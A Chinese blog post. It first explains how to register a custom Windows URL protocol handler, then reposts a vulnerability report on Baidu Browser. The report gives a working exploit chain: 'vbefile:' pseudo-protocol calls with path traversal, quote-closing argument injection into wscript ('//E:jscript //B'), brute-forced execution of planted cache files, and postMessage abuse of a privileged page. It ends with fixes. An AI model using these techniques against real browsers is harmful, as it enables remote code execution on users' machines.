最近每天都会抽出点时间来研究浏览器的安全问题,比较幸运,公司也来了一个超级大牛,之前在微软的,后来在某浏览器担任研发总监。
又看了数据流的,自己挖掘了一个foxmail远程命令执行,昨天在学习浏览器安全的时候,看到2个非常不错的网站。
一个是二哥提交的一个漏洞,一个是JAVA制作自己的伪协议,解惑了自己多年的问题。
=================================================
通过自定义URL协议在Web中启动本地应用程序
1、注册应用程序来处理自定义协议
你必须添加一个新的key以及相关的value到HKEY_CLASSES_ROOT中,来使应用程序可以处理特殊的URL协议。
新注册的key必须与协议scheme相匹配才可以被添加。例如,增加一个“alert:”协议,被增加到HKEY_CLASSES_ROOT的key必须是alert。在这个新的key之下,默认的字符串value将显示新协议的名字,并且URL协议字符串value将包含协议特有的信息或者空字符串。Keys将同样被添加到DefaultIcon和shell中。
默认的DefaultIcon key的字符串value必须是新URL协议图标文件名的路径。
在shell key之下,一个key使用一个动词(就像open)将被添加。一个command(命令) key和一个DDEEXEC(动态数据交换执行) key都是使用动词来添加的。这command和DDEEXEC keys之后的values都是用来调用(或者启动)处理新协议的应用程序。
2、启动处理程序
当一个用户点击一个注册了你的自定义URL协议的链接后,Windows Internet Explorer(IE)启动注册的URL协议的处理器。如果指定shellopen命令在注册表中包含一个%1参数的话,Internet Explorer传递这个URI给注册协议的处理器。这最后的统一资源标识符(URI)被编码(%1);即16进制换码符被转换为等价的UTF-16字符。例如,用%20字符串取代空格。
安全警示:应用程序处理URL协议必须全力面对恶意数据。因为处理程序接收来自不信任源的数据,URL和其它参数值传递给应用程序可能包含的恶意数据企图使用处理程序。因此,处理程序可以首先启动基于外部数据的空闲行为确认这些行为以及它们的用户。
3、示例
接下来的例子演示如何注册alert.exe应用程序,来处理alert协议。
首先我们可以新建一个txt文件,写入内容如下:
1 Windows Registry Editor Version 5.00 2 3 4 5 [HKEY_CLASSES_ROOT\alert] 6 7 @="URL:alert Protocol" 8 9 "URL Protocol"="C:\\Program Files\\Alert\\alert.exe" 10 11 12 13 [HKEY_CLASSES_ROOT\\alert\\DefaultIcon] 14 15 @="C:\Program Files\Alert\alert.exe" 16 17 18 19 [HKEY_CLASSES_ROOT\\alert\\shell] 20 21 @="open" 22 23 24 25 [HKEY_CLASSES_ROOT\\alert\\shell\\open] 26 27 @="open" 28 29 30 31 [HKEY_CLASSES_ROOT\\alert\shell\\open\\command] 32 33 @="\"C:\\Program Files\\Alert\\alert.exe\" \"%1\""
注意:a.路径使用双杠"\\";b.如果字符串中有双引号("),那么需要加转义字符"\"
然后将文件名改为Alert.reg,双击本文件执行,将这些项写入到注册表。
增加这些设置信息到注册表,尝试导航到像“alert:Hello%20World”这样的URLs中,将会尝试启动alert.exe程序并且在命令行中传递“Hello World”。
4、协议处理实例
下面的代码包含了一个简单的C#控制台应用程序演示了一种实现alert协议处理程序的方式:
复制内容到剪贴板 程序代码
using System; using System.Collections.Generic; using System.Text; namespace Alert1 { class Program { static string ProcessInput(string s) { // TODO Verify and validate the input // string as appropriate for your application. return s; } static void Main(string[] args) { Console.WriteLine("Alert.exe invoked with the following parameters.\r\n"); Console.WriteLine("Raw command-line: \n\t" + Environment.CommandLine); Console.WriteLine("\n\nArguments:\n"); foreach (string s in args) { Console.WriteLine("\t" + ProcessInput(s)); } Console.WriteLine("\nPress any key to continue..."); Console.ReadKey(); } } }
5、测试
a、打开记事本,输入以下代码,并保存为test.html
<a href="alert://Hello!">点击这里启动程序</a>
b、将test.html拖入浏览器中打开,本人在Google Chrome中测试的;
c、点击页面中的按钮"点击这里启动程序";
d、你发现刚才写的程序运行了,并且TextBox中显示"alert://Hello!"。
========================================================
还有二哥的,提供了很多的思路
--------------------------------------------
1. 背景
--------------------------------------------
1.1 webkit系的浏览器在调用伪协议时,HKEY_CLASSES_ROOT 下凡是含有 shell/open/command键值的条目 都可进行调用。例如, regfile
location.href="regfile:AAAAAAAAAAAAA";
这样会调用 -> regedit.exe "%1"
其中 %1 为 location.href跳转的值 : regfile:AAAAAAAAAAAAA
也就是说,当我们调用 location.href="regfile:AAAAAAAAAAAAA" 时,浏览器会调用
regedit.exe "regfile:AAAAAAAAAAAAA"
1.2 这样一来,我们直接可以调用系统的某些命令了? 不过chrome为了阻止这种情况,会对这种调用给用户以足够的提示信息,由用户来选择是否继续,如下图所示:
360浏览器也会有提示,
1.3 然而国内其他一些主流浏览器,在这一点的实现上,均没有这个交互提示。
这样会带来一些安全问题。
--------------------------------------------
2. 初步的利用
--------------------------------------------
利用上,我们选择,
location.href="vbefile:XXXXXXXXXXXX";
同类型的还有 jsefile 、wsffile等,反正这些都是会调用 wscript.exe来进行处理,如下图所示:
也就是说,在百度浏览器上,我们可以通过调用
location.href="vbefile:XXXXXXXXXXXX";
来调用 wscript.exe "vbefile:XXXXXXXXXXXX"
看起来好像并没什么用?
如果是这样呢?
location.href="vbefile:/../1.js"
-->
wscript.exe "vbefile:/../1.js"
你会在浏览器里看到下面的提示:
这说明,如果系统盘里已知路径下我们能够写一个文件,我们就可以通过 location.href="vbefile:/../../../已知路径/1.js"的方式来执行这个文件。
--------------------------------------------
3. 写文件?
--------------------------------------------
a. 浏览器的特权API下载文件到指定目录
b. 浏览器的缓存目录
似乎方法二看起来更通用些?百度浏览器的缓存目录位于
C:\Users\用户名\AppData\Roaming\Baidu\baidubrowser\user_data\default\chrome_profile\Cache
其中缓存文件的名称为
f_000000 -> f_ffffff
依次递增。
我们需要知道当前客户端的用户名,才能够得到缓存路径,用户名也需要通过浏览器提供的特权API来获取。
--------------------------------------------
3.1 构造恶意缓存文件
--------------------------------------------
http://**.**.**.**/test/all/cache.php
其中大量的A是为了让文件达到一定大小(貌似文件小了,不会生成一个f_xxxxxx的文件)
可以看到用百度浏览器,访问了cache.php后,cache目录下生成了一个 f_0001b7
然后我们执行:
location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7'
会看到下面这个错误:
这是因为 wscript在执行脚本文件时,是根据后缀来进行执行的,而缓存文件没有后缀,所以就会提示“没有文件扩展”
怎么解决呢?
location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7'
-->
wscript "vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7"
我们似乎可以带入双引号来闭合 wscript的文件路径参数,进而引入其它参数:
location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript "'
-->
wscript "vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript ""
其中 //E:jscript 是指定使用jscript引擎来执行该文件。
可以看到,这次,f_0001b7被成功执行。
--------------------------------------------
3.2 得到用户名 (具体见之前的漏洞 - http://**.**.**.**/bugs/wooyun-2010-096413)
--------------------------------------------
http://**.**.**.**/app-res.html 可以通过postMessage来执行某些特权操作,其中就包括获取指定扩展的信息。
<iframe id="x" style="display:none" src="http://**.**.**.**/app-res.html"></iframe>
var testAppId='{AE136F90-4FF3-4205-9B12-CCE2254F3B6A}';//内置微信APP
//向 http://**.**.**.**/app-res.html post消息
document.getElementById("x").contentWindow.postMessage('{"type":"getExtById","data":"'+testAppId+'"}',"*")
//接收来自 http://**.**.**.**/app-res.html 所返回的结果(包含用户名的路径)
window.addEventListener("message",function(e){
console.log(e);
try{
var m=JSON.parse(e.data);
if(m.type=='extension'||m.type=='plugin'){
var path=m.src;
if(path){
//获得用户名后,开始进行缓存的暴力执行
alert(path)
}
}
}catch(e){
}
},false);
--------------------------------------------
3.3 暴力执行缓存文件
--------------------------------------------
由于缓存文件的名字我们并不知道,但cache目录下的缓存文件名是递增的,我们可以采取的最通俗的思路,就是从 f_000000开始暴力尝试去执行,直到执行至我们所生成的缓存。
这就需要解决一个问题,暴力执行每一个缓存文件,会面临缓存文件执行出错,缓存文件不存在而报错等问题,像下面这样:
不过,比较幸运的是,wscript提供了一个参数 //B,可以屏蔽掉这些错误信息。这样一来,我们就不用担心在执行过程中出错了。将此前的代码再改进下:
location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript //B "'
接着,如何暴力的去执行每个缓存文件呢?
比如要去尝试第 0-10000 个缓存文件
思路1:循环创建10000个iframe,每个iframe的location.href尝试去执行一个缓存文件
缺点:页面会首先去创建10000个iframe(这会需要花费较长时间,甚至会卡住),然后才开始后面的工作。
思路2:首先建立100个恶意缓存文件(可以更多,时间花销少)。然后我们执行缓存文件的时候,可以这样执行,f_000000、f_000064、f_0000c8 。。。(每隔100个来执行),这样我们只需要创建100个iframe,就可以尝试执行 0-10000个缓存文件,1000个iframe,就可以尝试10W个缓存文件了(优先考虑增加恶意缓存文件数量而不是iframe数量)
虽然 f_000000 -> f_ffffff 的范围看似很大,而实际上能被用到的范围却相对较小,本人常年在使用的chrome,cache目录里 f的最大值仅仅达到6万。
这说明,大多数情况下,暴力执行的方式是可行的。时间上虽然需要有一定的等待,但多数时候不需要太久。
--------------------------------------------
3.4 漏洞证明
--------------------------------------------
见【测试代码】里的测试URL
--------------------------------------------
3.5 更稳定的方式
--------------------------------------------
利用http://**.**.**.**/app-res.html的install的缺陷,这个缺陷,在http://**.**.**.**/bugs/wooyun-2010-096413里报告过,百度也做出了修复,但是有些细节并未处理好,导致可以在本例中结合使用。
a. 判断ext_url的正则 /^https?:\/\/**.**.**.**/ ,应该是/^https?:\/\/**.**.**.**\//。
所以可以绕过,http://**.**.**.**@**.**.**.**/test/all/1.zip
b. 1.zip已经不能../../了,并且1.zip里也不能包含除png之外的文件了。
但是这里对于我们来说,已经足够了,能写png也行。
所以,我们利用
document.getElementById("x").contentWindow.postMessage('{"type":"install","data":{"id":"'+installAppId+'","url":"http://**.**.**.**/app/201410/1f457685544a52b101cc1f173adae6f8.crx","ext_url":"http://**.**.**.**@**.**.**.**/test/all/1.zip"}}','*');
会把ext_url的zip包,解压释放到一个本地目录里。
这个目录的路径我们可以得到。
结合上面的location.href='vbefile:/../../../目录路径/test.png" //E:jscript "'; 就可以执行test.png里的恶意代码了。
漏洞证明,见【测试代码】部分
漏洞证明:
修复方案:
1.在调用外部协议时,开启交互提示。
2. 修复http://**.**.**.**/app-res.html,对postMessage的origin进行判断,防止恶意网站进行调用,获取信息。